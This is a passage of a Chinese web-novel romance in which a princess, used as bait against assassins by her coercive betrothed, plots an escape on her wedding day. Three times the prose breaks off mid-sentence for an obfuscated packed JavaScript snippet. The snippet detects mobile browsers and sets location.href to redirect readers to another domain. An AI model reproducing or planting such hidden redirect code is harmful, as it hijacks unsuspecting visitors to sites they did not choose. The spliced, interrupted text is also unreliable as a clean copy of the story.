过了良久,谢陵才倦倦道:“没什么,近来事务繁忙,我只是有点累了。” 实际上,谢陵昨天刚领了鞭刑,远在北境的叔父得知他在国公府的鲁莽行径,大发雷霆,连夜命人送来书信,将他斥责了一顿,还命商晏替其监刑。 昨晚疼了一夜,没怎么睡好,加上今天还有更棘手的事要应付,心情自然没法放松。 不过,他嗅着闻梨身上淡淡的香味,神思难得松弛片刻,身上的疼痛与疲惫舒缓不少。 闻梨怔忪片刻,她早已从宫人那里打探得知,从国公府回来的第二日,百官联名上奏,说谢陵狂妄自大,滥用职权,对皇室公主出言不逊,藐视君恩等罪状,皇帝下诏停了谢陵的官职,在府中静修至婚期。 所以他那句政务繁忙,是在骗她罢了。 此事本就因闻梨而起,谢陵不愿意说真话,她心里愧疚,便也不打算戳破他,只装作什么都不知道。 “那天多谢王爷替我撑腰,还好有王爷在,要不然我还不知会落进什么样的险境。” 谢陵微微蹙了蹙眉心,语气不自觉笃定了几分,“公主相信我,无论什么事发生,我能护你周全。”他这话像是说给闻梨听的,又像是说给自己听。 闻梨浑然不察他的言外之意,听着耳畔传来的低沉嗓音,像松林间穿行过的风,冷肃却沉稳,让人感到一阵安心。 今日天气晴得甚好,集市摆满货摊,吆喝声此起彼伏,马车在街角停下,二人下车,沿着人流如织的集市里缓步而行。 闻梨脸上难掩欣喜,心中好奇谢陵怎知自己想来这里?上回逃跑时匆忙路过,她还觉得可惜,没能好好逛一逛,今天可要玩尽兴了。 谢陵打了个哈欠,漫不经心跟上闻梨的步伐。 闻梨先注意到一个糖画摊,摊主是个上了年纪的大婶,虽穿着粗布衣裳,却收拾得干净平整,十指灵巧得像是变戏法,眨眼工夫便做出令客人满意的糖画。 大婶看见一旁驻足观望的女客,招揽道:“姑娘想做什么样式?” 闻梨挪步上前,望了望摊前的展品,新奇道:“什么样式都能做?” 大婶骄傲道:“那当然,我摆摊数十年,只要是客人想要的,没有我做不出来的。” 闻梨爽快道:“那我要两个,一个画他,一个画我。” 大婶望向女客身后的男子,风神俊逸,气宇不凡,再仔细打量面前女客,貌若仙姿,国色倾城,二人站在一起,好一对璧玉佳人,倒像是天上的仙童仙女。 大婶笑得合不拢嘴,连声应好,舀了勺糖汁开始作画,不一会儿工夫,先画成了一个,笑着递给闻梨。 闻梨回头,拿手里的糖人与谢陵对比,没忍住扑哧一笑,除了身形有几分相似,那糖人的脸,根本就是年画娃娃的脸,模样十分滑稽。 “给你。” 谢陵眉梢微挑,有点嫌弃这糖人貌丑,他不爱吃糖,但望着闻梨脸颊上的梨涡若隐若现,她还在期待自己的回应,便硬着头皮接住。 “姑娘,另一个也做好啦。” 听到大婶的声音,闻梨扭头,兴冲冲接过另一个,看清糖人的样式,登时就笑不出来了,这分明就是仕女的身子加了年画女娃娃的脸,比谢陵手里那个还难看。 谢陵见此,唇角微勾,眼眸里闪动着憋笑的光芒,从腰间摸出铜钱付给摊主,故意问她:“怎么了?不喜欢吗?” 闻梨不语,准备咬一口糖人,尝尝味道,却被谢陵拦住。 “你吃我这个吧。”说着,他将二人手里的糖人对调。 闻梨毫不客气一口咬掉糖人脑袋,味道还算不错,抬头却见谢陵神色怪异地盯着自己,疑惑道:“王爷怎么不吃?” 谢陵笑了笑,也学着她咬掉糖人的脑袋,还嚼得嘎吱作响。 闻梨见了,果然心里也一阵恶寒,颇有种在吃小孩的感觉,连骨头都不剩的那种。不过,她才不管这些,继续啃手里的糖人,反正吃的是谢陵的人形糖画。 一路走来,闻梨感兴趣的大多是玩意摊,斗蛐蛐,捏泥人,剪纸,木雕,还有竹编的各式小动物。 她挑了个小狮子样的竹编送给谢陵,谢陵反手选了只小狗样式的递给她,闻梨果断放回小狮子,又摸了只黄鼠狼样式的,诚心诚意递到谢陵面前。 二人都没接过对方为自己挑选的竹编,闻梨悻悻起身,注意力又落在不远处的杂耍团上。 杂耍团附近围满了人,闻梨找不到空隙挤进去,正踮着脚够直脑袋张望,腰间忽而一紧,整个人被谢陵拥进怀里,他带着她跃上一旁的台柱,视野瞬间变得开阔。 闻梨不敢松手,一面紧紧抱住谢陵,一面往人群中间望去,观赏了半天滚火球、吞铁剑、胸口碎大石等骇人见闻的杂耍。 一轮杂耍结束后,杂耍团开始拿着盆钵要钱,围观的百姓顿时散开不少。 见此处没乐子,闻梨让谢陵放她下去,想去别的地方玩玩,哪知杂耍团的掌事眼尖,早就注意到台柱子上的二人,尤其看他们的穿着打扮,肯定是有钱人,便迎上来讨赏。 “公子小姐行行好,有钱捧个钱场吧。” 闻梨思索着,手伸向谢陵腰间,摸出几两碎银,颇为大方地全扔进盆钵里,刚才她就摸到谢陵的腰间鼓鼓囊囊,藏着不少好东西。 谢陵一脸平常,“你倒是不见外。” 见二人预备要走,杂耍团掌事不肯轻易放走两位财神爷,便伸手拦住二人,还想再多讨要些银子,却被谢陵一记眼刀吓退。 掌事不敢再上前,挤出一抹勉强的笑:“二位好走。” 待二人走远,那掌事立即换了副阴冷的神色,既不吆喝,也不再向众人讨钱,回到同伴身边。 “可认清是谢陵了?” “嗯,这次一定不会再出错,你两个跟着他们,我回去禀报主子。” 另一边的闻梨,已经走到了书肆摊前,这里的空气混合着劣质油墨的味道,她弯腰翻了翻,想看看民间的书与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192613|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫中有什么不同,随手拿起一本,只见上面写着剑谱二字,遂打开来瞧。 前几页都是两个小人拿着剑比武,但她越看越不对劲,这两个小人怎么一边打架,一边脱光衣服,扭打到床上去了?难道练武太热,要脱衣服吗? 闻梨心生困惑,正欲往下游览,身畔突然伸来匀称修长的手,指腹捏住书的后半部分,似乎不许她再往后翻。 闻梨不满地看向这手的主人,却见谢陵耳尖泛红,神情有异,眸光落向别处,声音不太自然道:“你不能看这个。” 闻梨似懂非懂,也闹了个脸红,讪讪放下。 天色临近傍晚,街边酒楼饭馆飘来菜肴香味,谢陵与闻梨走进醉香居二楼的雅间,谢陵像是这边的常客,帮着闻梨点了几道可口的招牌菜。 闻梨看着谢陵熟练的点菜架势,随口问道:“王爷常来?” 谢陵嗯了一声,似乎不愿意多说,转而端起酒壶,问闻梨要不要喝酒。 闻梨摇头拒绝,她向来滴酒不沾,虽今天心情甚好,也有几分想喝酒的兴致,但坐在自己对面的人是谢陵,万一喝醉,被他听见什么不该听的胡话,那可就不妙了。 两人对坐,各自无言,屋内的气氛顿时冷下来,闻梨注意到谢陵自进门后,神情便一直很绷紧,目光始终落在窗外,不知在想什么。 闻梨顺着他的视线望去,只见一辆马车缓缓停在醉香居门前,有个看起来有几分眼熟的婢女从马车下来,随后踏进了酒楼。 不一会儿,她听到门外走廊传来一阵交谈声。 “哟,春儿姑娘好久没来了,还是来替你家小姐取菜的?楼上今天满座了,姑娘要不去大堂将就?等我送完这趟,就去后厨帮姑娘催一催。” “好吧,你动作快点,我家小姐就爱吃你们酒楼的菜,可别让我家小姐久等,没弄错是哪几样菜吧?” 店小二报了一串菜名,“瞧姑娘这话,你家小姐不日便是临王府的王妃,小的哪敢怠慢,稍后就来。” 紧接着雅间门被人从外边推开,店小二端来好几道菜,殷勤地招呼二位客人用菜,闻梨粗略扫了一眼菜品,虽比不上宫里的菜肴精致,香气却很勾人。 闻梨觉得新鲜,在店小二摆盘的间隙,指着手边那盘菜问道:“这是白菜豆腐?” 店小二笑着解释道:“那不是白菜,是鱼肉。”顺带介绍了一遍菜名,好巧不巧,桌上的菜恰好是店小二刚才与春儿确认过的。 闻梨默然,心头掠过些许诧异,没想到谢陵连心上人的喜好都了解得一清二楚,白天因有他陪伴而腾起的那些不该有的念头,在此刻都冷了下去。 她在心里承认,自己确实有点贪恋他今日的陪伴,但不该得寸进尺在意他心里装的是谁,自己能顺利逃走,才是当下最重要的事。 此刻谢陵的视线还没从窗外收回来,街边依旧平静,看不出有人埋伏的迹象,待话多碍事的店小二出去后,他才将目光落回闻梨身上,却见她正无精打采低头吃饭,全然没了先前那副劲头十足的模样。 难不成是她发现了什么? 谢陵思索片刻,刚想问她是不是饭菜不合胃口,低头一看饭桌,不由得蹙紧眉头,店小二怎么把菜全上错了? 19. 第十九章 未等谢陵发话,一伙蒙面的黑衣刺客突然破门而入,锋利的剑尖直指向窗边的谢陵,为首者口中喊道:“大家一起上,杀了这谢狗!” 闻梨手中的筷箸掉落,望着眼前不知从哪闯进来的刺客,下意识躲到谢陵身边,“王爷,我们该怎么办?” “别慌。”谢陵将闻梨护在身后,阴沉沉看向刺客,语气还算冷静:“是谁派你们来的?” 为首刺客闭口不答,出招迅猛,企图将谢陵斩于剑下,却不料谢陵身手更快,拿筷箸当利器,三两招之内,便夺走了刺客的剑。 有个年纪不大的刺客见情况不妙,趁谢陵不备,捉住了闻梨,将刀刃抵近闻梨脖颈,威胁道:“把剑扔远点,你再反抗我就杀了她。” 闻梨吓得闭眼,脑海中浮现自己被刺客割下头颅的画面,浑身止不住地打冷颤。 谢陵僵住,眼眸深了几许,依言放下剑,冷声道:“有什么恩怨尽管冲本王来,莫要伤及无辜。” 少年刺客讥笑道:“临王屠城之际,可有想过城中有多少无辜之人?今日便取你狗命给枉死之人陪葬!” 谢陵大抵摸清了这伙刺客的底细,是时候该撤退了,手腕一转,藏于袖中的另一根筷箸被他掷向少年刺客的眼睛,倘若少年刺客选择伤人,势必要废一只眼睛。 少年刺客目露震惊,没有丝毫犹豫便挥剑挡住朝自己袭来的筷箸,分神之际,怀里挟持的人质也被谢陵救走。 待少年刺客反应过来,谢陵已经抱着闻梨跃窗而下,逃进了夜幕里。 为首刺客赶过来询问少年:“主子没受伤吧?” 少年刺客愤怒折断手里的筷箸,咬牙切齿道:“给我追!” 夜风呼过耳畔,明明白日里还晴朗的天气,夜里却黑沉沉的,被积云遮挡了星与月的光辉。 闻梨缩在谢陵怀中,神情恍惚,似乎还未从刚才的险境缓过神来,架在她颈间的那把剑是真的寒凉,此刻回想起来,仍觉得害怕。 谢陵察觉到怀中人的抖动,脚下步子放缓,声音也温和了些,安慰道:“吓到了?” 闻梨刚要张嘴,却感到一股温热的暖流从头顶落下,伸手沾了点,这暖流里带着铁锈腥味,她抬眸望去,果然见谢陵的肩膀有伤口。 “王爷受伤了?”闻梨焦急问道,声音里夹杂着几分担忧,因为她知道那伙刺客不会轻易放弃,谢陵受伤,接下来怎么打得过他们? 谢陵沉着道:“不要紧,再坚持一下,快到我们的地盘了。” 闻梨望着身后追来的刺客身影,没空细想他话里的含义,她记得风浅说过会远远跟在附近,为何都这么久了,还迟迟不见风浅现身? 就在闻梨四下张望之际,谢陵忽而停下脚步,放她下来,刺客们也都跟着停住。 此处是条狭长的巷道,巷道尽头是热闹繁华的主街,闻梨不明白谢陵在此时停下的用意,莫非是伤得太重坚持不住了? 她立刻去搀扶他的手,慌忙问道:“王爷还好吗?你靠着我,我带你出去。” 岂料谢陵退一步避开她的手,转身不与她对视,朝墙头的风浅吩咐道:“带公主先走。” 闻梨满脸错愕,望着从墙头跃下的风浅,还没搞清状况,便被风浅扛到肩上,眼睁睁看着谢陵的身影与刺客们融合在夜色中。 他孤身一人,又有伤在身,如何敌得过那么多刺客?早在王府时,她便听殷三娘说,谢陵惯会以少敌多,赢下不少战事,可谁又能保证他的运气次次都这般好? “放我下来,我自己能走!”闻梨朝风浅嚷道。 风浅装作没听见,继续朝主街行去。 闻梨心急如焚,挣扎道:“王爷刚才救我时受伤了,你快回去帮他,我自己会找地方躲起来,绝不拖累你们。” 风浅一听自家主子受伤了,果然站住脚,犹豫着要不要放闻梨下来。 “还在犹豫什么?难不成你想看到你家主子死在刺客手里?他次次以身犯险,真要出事了怎么办?” 风浅不再耽搁,松开闻梨,扭头朝主子的方向飞奔而去。 闻梨也没忘记要找地方躲起来,防止刺客又捉她当人质,给谢陵添不必要的麻烦。 但此地没什么能藏人的地方,闻梨只好朝主街跑去,出了巷口,热闹的烟火气扑面而来,闻梨心中踏实不少,就近找了辆停在路边、黑灯瞎火的马车旁躲起来。 她略等了等,还不见谢陵与风浅逃出来,心里愈发焦急,暗自想二人是不是出事了,哪怕有风浅的帮助,也没办法甩开刺客吗? 还是说,他二人皆葬身在了刺客剑下? 正当她犹豫着要不要去巷口看一眼,不知何时套了马儿的马车竟然动了,闻梨险些被车轮碾轧了脚,吓得啊了一声,跌坐在地。 车窗里探出张脸,闻梨惊慌抬头,正与车里人的目光对上,她不自觉怔住,没想到会这么凑巧遇上沈迟。 沈迟从马车下来,欲作势扶起闻梨,“公主没事吧?为何会躲在臣的马车旁?” 闻梨觉得沈迟的出现很蹊跷,自己站了起来,试探问道:“沈公子为何在此?” 沈迟指着路边的大门道:“这里是刑部衙署北门,臣刚下值,正要回府。” 闻梨这才相信了沈迟的话,欲求他找人去救谢陵,不及开口,却听到沈迟问:“公主莫非是想清楚了,想让臣送你出京?” 闻梨僵在原地,脑海中浮现出一个可行的计划,钱财都带在身上,不如趁着谢陵分身乏术,与沈迟做交易,就此离开京城,再也不回来。 可现在谢陵生死未卜,倘若就这么走了,是不是太没良心了?毕竟他也帮了自己好几次,但逃跑的机会就在眼前,她实在难以抉择。 沈迟:“公主可想好了?” 闻梨再抬眸时,眼中多了些许坚定之色,“临王遇刺,沈公子可否找人去增援?” 巷道的另一边,谢陵带着提前埋伏好的府兵,将追来的刺客悉数剿杀在剑下,此时他正擦拭着剑上的血,听萧大郎回禀战况。 “刺客身亡四十七人,重伤二人,另外逃走三人,二郎已经带人追去。” “把重伤者带回府里审问。” 谢陵回头,冷不防瞥见尸堆边的风浅,下意识寻找闻梨的身影,却一无所获,沉声询问风浅:“公主人在哪里?” 风浅跪下认错,“公主说主子受了伤,卑职担心主子敌不过刺客,便赶回来相助。” 哪成想,见主子这边没事,风浅再折返去找闻梨,却发现人已经不知所踪。 钲的一声清响,剑被谢陵收进鞘中,那剑身像是承受了某股力道,入鞘后还在微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201336|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖动,久久不能平息。 谢陵冷道:“她说什么你就听什么,往后你认她做主子吧。” 从未见主子如此生气,风浅大惊失色:“卑职不敢,卑职这就去将公主找回。” 谢陵不语,只一味地盯着巷道尽头,他是真没料到,在自己遇刺的危难关头,闻梨竟还想着逃走,除了愤怒,他还有些失望,阴暗的情绪在心里疯狂生长,也许下次该给她绑条锁链,这样就能让她乖乖待在自己身边,哪都不能去。 谢陵留下一部分人处理现场,自己则带着其余人出发,就算把玉京城翻个底朝天,也要找到闻梨。 谢陵刚走到巷口,迎面碰上一队京兆府的府兵,领头人的是沈迟,而沈迟身后跟着的人,正是他翻遍玉京要找的人。 闻梨自然也看到了谢陵,发现他还活着,心中松口气,随即不免有些懊悔,早知谢陵有办法脱身,自己何必找人回来救他? 藏起内心的想法,闻梨快步上前,一脸关切问道:“王爷的伤还好吗?刺客都解决了?” 谢陵迟疑了一瞬,眼底的阴霾骤然散开,脸上神情装得平常,故意忍痛道:“公主去哪了?本王担心你被刺客抓走,怎么会跟沈侍郎在一起?” 闻梨解释自己与沈迟的相遇,但丝毫没提沈迟说要送她出城的事,沈迟那边自然也替她瞒着谢陵。 谢陵听罢,并不感激带人来救自己的沈迟,反而将闻梨拉到自己身后,一脸严肃叮嘱她道:“公主别什么人都相信,我与沈侍郎向来不和,倘若他不是来救人的,而是来杀我的,那可怎么办?” 闻梨怔住,没想到谢陵这人如此忘恩负义,别人好心赶来救他,却不领情,还出言讽刺,心胸狭隘到这地步。 她满心愧疚看向沈迟,好在沈迟脸上并未见羞恼之色,只是淡然地吩咐京兆府的人先回去。 话落,沈迟扫一眼四周的情况,再次看向谢陵,唇畔扬起一抹意味深长的笑:“王爷何苦担心下官会趁人之危?您不是在此布下天罗地网,正等着刺客上钩吗?下官区区一介文人,怎杀得了王爷?既然王爷无事,下官先告辞了。” 沈迟走前,特意看了眼闻梨公主的反应,果然见她瞠目结舌,显然对谢陵的行为毫不知情。 闻梨满脸错愕望着谢陵,原来今日的陪伴是假,他不过是利用她,诱使刺客放松警惕,继而把刺客引进早已设好的圈套。 他真可怕,就没想过万一失手,刺客误杀了她怎么办?闻梨想了想,没什么好埋怨的,毕竟谢陵从一开始,就说要她当他的狗。 狗嘛,挥之即来,招之即去,谢陵偶尔心血来潮遛一遛,却被她视为珍宝,还以为填补了幼年的缺憾,还傻乎乎地为他放弃了逃跑机会。 她意识到自己果然和狗一样缺爱,别人稍微给点好处,自己就乐颠颠贴上去,更可怕的是,她那些示弱和讨好,落在他眼里,跟狗的摇尾乞怜有何区别? 或许没什么区别,不然他会舍得让王家姑娘跟着他犯险吗?答案显而易见。 闻梨后背泛起一阵寒意,谢陵与沈皇后似乎也没区别,一个把自己当狗,一个把自己视为棋子,都只有算计和利用。 “公主在想什么?怎么不说话了?”谢陵对上闻梨慌乱的眼眸,步步朝她走近。 闻梨后背抵靠着墙,退无可退。 20. 第二十章 “没、没想什么。”闻梨别过脸,尽量使自己的声音与平常无异,但尾音里的颤意,还是暴露她内心的恐慌之意。 谢陵俯视着她,语调冷了几分,吓唬她道:“公主怕我?为什么?莫非信了沈迟的说辞?我不止一次说过,莫要与沈迟走得太近,可公主却不听,真让我为难,看来只有成婚后,时刻拿锁链将公主栓在身边,方能让我放心。” 闻梨不可置信抬头,看着谢陵阴郁的脸,讽刺道:“难道你与别人洞房花烛夜也要我跟着?” 谢陵顽劣笑道:“未尝不可,早在当初我就劝过公主,不要轻易招惹我,既然已经成为我的人,就别再想着找别的男人帮忙,你只能信我,靠我,听我的话。” 闻梨忍无可忍,用力摁上他肩膀的伤口,发狠道:“你简直不可理喻!你对王姑娘也会这样?还是说以后你娶的所有姬妾,也都要拿绳子栓在身边?” 谢陵吃痛闷哼了一声,眼底却腾起一股无名□□,难以启齿的快感涌遍全身,他伸手捏住闻梨下颌,冷森森道:“不,我只对公主一人这样。” 闻梨一听,心中更来气了,试图反抗,却被他圈在怀里,半点不透风,她绝望了:“为什么?我哪里得罪过你?从第一天见面就想杀我,还让我当狗,现在又要如此折磨我?” 谢陵幽幽盯了她许久,忽而冷笑出声,侧头俯在她耳边,用冷冰冰的语气道:“告诉公主也无妨,因为十年前,你的母亲为了谋逆,派人杀光我全家,从第一次见面时,我就想杀你给家人报仇,可是转念一想,折磨活着的人,比折磨死人更有趣。” 闻梨当即僵立,许久没从谢陵的话语立回过神来,原以为是自己利用谢陵摆脱沈皇后,却不想刚从虎口逃脱,又进来了另一个狼窝,胃里忍不住泛酸,一阵恶心涌上心头。 憋了很久的眼泪不自觉从脸颊滑落,她鼻尖通红,心灰意冷啜泣道:“我后悔了,当初就不该相信你。” 听到她说后悔二字,谢陵的心却随之抽搐一阵,他不明白这种情绪从何而来,为什么每次面对着她,他都没办法狠下心真正做点惹她哭的事? 现在仅仅只是说了几句狠话,又不是真把她套进锁链里拴着,见她哭得如此伤心,他忽然有些于心不忍,抬手拭去她脸上的泪珠,好生哄道:“你别哭,只要你答应我往后乖乖听话,我就不锁着你。” 谢陵低头下来吻她的脸,想将她的眼泪含进口中,她身上香气实在令他着迷,不知不觉吻上了她的脖颈,肩窝,勾起他脑海中关于两个月前那场旖旎床事的记忆,出格的事情总是令人食髓知味。 直到肩膀再次传来一阵剧痛,谢陵才堪堪停下,望着闻梨那双恼羞成怒的眼眸,登时冷静了许多,想起此时还在街上,便替她掩住衣襟下的雪肌,用不容质疑的口吻道:“夜深了,我送公主回宫。” 与此同时,先前逃走的刺客退到安全的地方,商议接下来该怎么办,为首者吐掉嘴里的鲜血,骂道:“这谢狗实在狡猾,害得我们折损了将近一半的人,主子,要不咱们再回北齐召集人手?” 少年刺客摘下蒙面的黑巾,显露出一张清逸绝尘的脸,汗水沾湿少年额边微卷的刘海,长睫投下淡淡的阴翳,眼眸澄澈而明亮,与方才那副冷酷无情的杀手形象截然相反。 少年道:“来不及了,十天后便是谢狗成婚之日,听说他要同时娶两个,他去迎谁的亲,我们就绑走另外一个,在城外布下陷阱,这次等他自己送上门寻死。” * 临近婚期,闻梨变得忙碌起来,要试穿婚服,熟悉婚事流程,虽说是入王府为侧妃,但一应的礼节与正妻无异,闻梨不太确定这是父皇的吩咐,还是谢陵的意思,听着嬷嬷一遍遍复述礼程,她只觉心中烦闷不已。 最近的天气也似她的心情那般阴雨连绵,潮湿闷热,白天提不起精神,夜里睡得也不安稳,好几次梦到谢陵拿着铁锁链朝她走来。 只要一想到余生会被困在临王府后宅,她就压抑得喘不过气,不过几日光景,竟又瘦回从前那副纤弱的模样,彷佛被风一吹就会倒。 距离婚期只剩下两天,闻梨实在心烦意乱,静不下心做任何事,感觉自己快要憋死在屋子里,便才带着清霜去御花园透透气。 正值午后,妃嫔们大多有小憩的习惯,御花园里人少,清幽别致的园中景色,并没有减轻半分闻梨眉间的愁思,反倒是这一年复一年相同的花草山石,令她心生厌倦。 闻梨将欲折返之际,旁径上忽然冒出一个脸生的小太监,贸然跪下拦住了她的去路,还伸手递来一封信:“公主万安,这是沈迟大人要奴才转交给公主的信,沈大人说若公主有回信,也叫奴才等着拿。” 闻梨半信半疑打开书信,果然是沈迟的亲笔,因为信上写了只有他二人才知道的事情,沈迟在信中问她,是否愿意继续从前的交易,倘若她愿意,他会替她安排逃跑的办法。 心头积攒多日的苦闷与惆怅一扫而光,闻梨压下心中的雀跃,镇定自若道:“是有一封回信,你跟着我去锦绣宫取一下。” 随后,闻梨写下回信封装好,由小太监带出宫,交到了沈迟手上,沈迟在信中见闻梨同意了,即刻提笔,又写了一封详细的逃跑事宜,找人送到闻梨手上。 闻梨看完沈迟回信,不动声色把信纸烧了,耐心等待大婚之日的到来。 * 成婚当日,最喜庆热闹的地方莫属落英巷的王宅,府邸内披红挂彩,“囍”字贴了满院,处处摆满预示着好兆头的吉祥之物。 反观锦秀宫与临王府,一个寂然无声,沉闷的寝殿内,换好喜服的闻梨将喜娘与宫人们赶出殿外,独自坐着发愣。而另一边的临王府,依旧是往日整齐肃杀的氛围,唯有两间喜房内的大红色床幔与桌上的成对花烛,能窥见一二大婚的好意头。 王宅后院,盛装打扮的王若楚坐在铜镜前,左看右看,还是觉得今天的妆容不够满意,太过成熟,彷佛把她化老了十岁。 妆娘都是有经验的,忙拦住她的手,“哎呦,三小姐今天嫁了人,从此便是妇人了,哪还能化成姑娘的妆容?风韵多情才能讨郎君喜爱。” 王若楚听罢,未上胭脂的脸已红透一半,难为情道:“越说越不成体统。” 房内,几位堂姐妹正陪着王若楚梳妆,王萝玉打趣笑道:“堂姐还没见到堂姐夫呢,脸就红成这个样子,那见了堂姐夫,岂不是像熟透了的螃蟹?” 众女笑得直不起腰,王若楚嗔一眼萝玉,羞恼地将脸藏在了花扇后,谁也不理。 王萝玉忙好声好语哄她,王二姑娘却不合时宜:“可今天堂姐夫要娶两个,他夜里会跟谁洞房花烛呢?” 此话一出,众女皆沉默住了,连王若楚的眼神都黯淡了下去,王萝玉见状,立刻接话道:“这还用问?那肯定是跟堂姐洞房呀,我早就找人打听过,两边的迎亲吉时是一样的,但堂姐夫亲自来迎堂姐,另派手下去皇宫迎公主,可见堂姐夫哪里舍得冷落堂姐?” 王若楚再次害羞低头,房内的气氛重新变得欢乐起来。 * “吉时已到,请公主出门上轿。”殿外的喜娘轻声提醒道。 不一会儿工夫,殿门缓缓而开,鸳鸯藤喜帕下,是一身亮眼的大红婚服,肩披霞帔,帔尾是用金线编织的花纹,上边缀满珍珠宝石,走动时随着裙裾摆动的幅度摇曳,在日照下闪着熠熠光泽,十分光耀夺目。 闻梨在侍女的搀扶下,先坐上了软轿,前往正德殿拜别父皇。 正德殿内,晋祐帝满脸感慨,看着朝自己磕头拜别的女儿,心中不觉晃了神,女儿已经到了嫁人的年纪,虞莲也已经死去整整十年,倘若她还活着,是否会在今日为女儿的离去伤心落泪? 晋祐帝眼底闪过泪花:“起来吧,若是临王待你不好,尽管来告诉朕,朕替你做主。” 闻梨没有起身,却抬头问了一句:“父皇可知临王一家是怎么死的?” 晋祐帝脸色骤变,方才不经意间流露的舔犊之情荡然无存,言语间颇为不悦:“你问这个做什么?” 闻梨心下明了几分,垂首道:“儿臣想多了解临王的过去,以免日后相处不慎触怒他,倒使夫妇不睦,恐误了父皇交予儿臣的差事。” 晋祐帝神色缓和不少,“你无需担心这个,切记谨言慎行,伺候好夫君,不使他生出谋逆之心便可。” 虽晋祐帝没明说,但闻梨还是从父皇的只言片语中推断出,父皇不仅知道谢家灭门一事,还一副心虚的模样,显然父皇早就认得母妃与谢陵之间的恩怨,却还是赐了婚,根本不管她这个女儿日后会面临怎样的处境。 她对父皇失望透顶,也对这个皇宫感到厌恶,别人唾手可得的亲情,却是她终其一生,也没办法得到的东西。 闻梨心里苦涩,强笑道:“儿臣还有一事万望父皇答应,可否允许儿臣今日乘坐寻常的马车出嫁?” 晋祐帝:“你不喜欢那辆六驱并驾的琉璃彩绸花车?国公主历来出嫁,便是这般送嫁规格,朕让你嫁给谢陵为侧妃,本就是委屈了你,只能在排场和嫁妆上补偿你。” 闻梨磕头:“谢父皇厚爱,儿臣听闻临王不喜奢华,怕第一天就惹夫君生气,另一则宫里及笄的皇子公主多,若姐妹们没有而儿臣却有,不利于姐妹和睦,还望父皇成全儿臣。” 晋祐帝想了想,“也罢,朕便依了你,坐你自己的马车出嫁。” 闻梨起身拜别父皇。 半炷香后,闻梨来到宫门边,奢靡华丽的花车已经换成了自己平时坐的马车,正待她登上马车,前来迎亲的队伍也吹吹打打到了宫门边上。 闻梨瞧一眼马背上的迎亲之人,见是谢陵手下的副将,不由得松口气,果然如沈迟所言,只要谢陵去那边迎亲,今天逃出去的胜算便多了五成。 在萧大郎走近之前,闻梨便已登上马车,遮上了喜帕。 送亲的仪仗队见迎亲的人来了,将嫁妆箱笼抬的抬,捧的捧,赶车的赶车,欲跟在迎亲队伍后走,不料胳膊都举酸了,也不见前面有动静。 与此同时,萧大郎翻身下马, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“护驾!”萧大郎从马上下来,与府兵一起,齐齐护在闻梨马车外。 闻梨透过窗缝看到,有几十个黑衣刺客从小楼里飞出,与府兵们扭打在一起,一时间难分输赢。 这时候,有一道不起眼的人影钻进车底,敲了敲车底板,闻梨立马撬起早就松动的木板,从车底钻出来。 来人是个毛头小子,自称是沈迟的武童,闻梨便跟着武童趁乱爬出车底,谁都以为车上的公主必定是凤冠霞帔,红衣想必十分惹眼,场面又极为混乱,没人注意到两个不起眼的野小子往巷子里跑了。 巷子尽头,沈迟已经等候多时,见闻梨公主成功脱身,便命人驶出早已备好的马车,待闻梨上车,沈迟遣退左右,自己驾着马车,专挑近道朝城门驶去。 期间,闻梨一句话都没说,也没问沈迟将要把她送往何处,望着车窗外的景色飞快倒退,她的心依旧跳得很快,简直不敢相信,自己就这么逃出来了? 另一边萧大郎没打过少年刺客,先被少年刺客伤了肩膀,又被其一掌箍翻在地,躺在地上起不来,只能眼睁睁看着少年刺客驾走公主的御车,连人带车一起掳走。 其余刺客见自己人成功劫走新娘,边打边退,掩护少年刺客驾着马车往深巷中撤退,而后也都各自撤离,不欲与谢陵的人纠缠。 与此同时,王宅府外却是另一番热闹祥和的景象,身着婚袍的谢陵长身玉立站在府门外,正等待新妇拜别父母亲友。 时间有点久,他等着有些不耐烦了,自己原本想去那边迎亲,但军师说,只要新妇没过堂,王家随时有可能反悔结盟之事,执意要他来王宅迎亲。军师还说,只要两家联姻顺利,叔父那边便不会再管束着他,想宠谁喜欢谁,由他自己决定。 谢陵这才被说动,来到了王宅,但不知为何,心里一直有种隐隐不安的焦躁感,他索性派人去府里催一催。 王家众人一听,都揶揄笑说新郎官等不及了,而后扶新妇出门,上了花轿。 迎亲的过程很顺利,十里长街的送亲队伍,很快来到了临王府门前,谢陵远远便注意到门口没有宫里来的马车,萧大郎在他先出发,而他又在王宅耽误了许久,按理来说,宫里的马车本该在他之前到的。 谢陵不再等后边慢吞吞的花轿,策马赶来门口,询问门人是否瞧见萧大郎以及公主的嫁辇,门人摇头,谢陵愈发觉得不对劲,掉转马头,正要朝皇宫的方向行去。 “殿下且慢!”商晏从门里出来唤住谢陵,“王家的花轿已经到了,殿下若是此时离去,有轻慢之意,定会触怒王家,轻则延迟婚期,重则婚事作废,望殿下三思,不如先领新夫人过府拜堂,而后再做打算。” 谢陵听出了几分不对劲,蹙眉问道:“什么叫再做打算?公主那边的迎亲出了什么事?请先生莫要瞒我。” 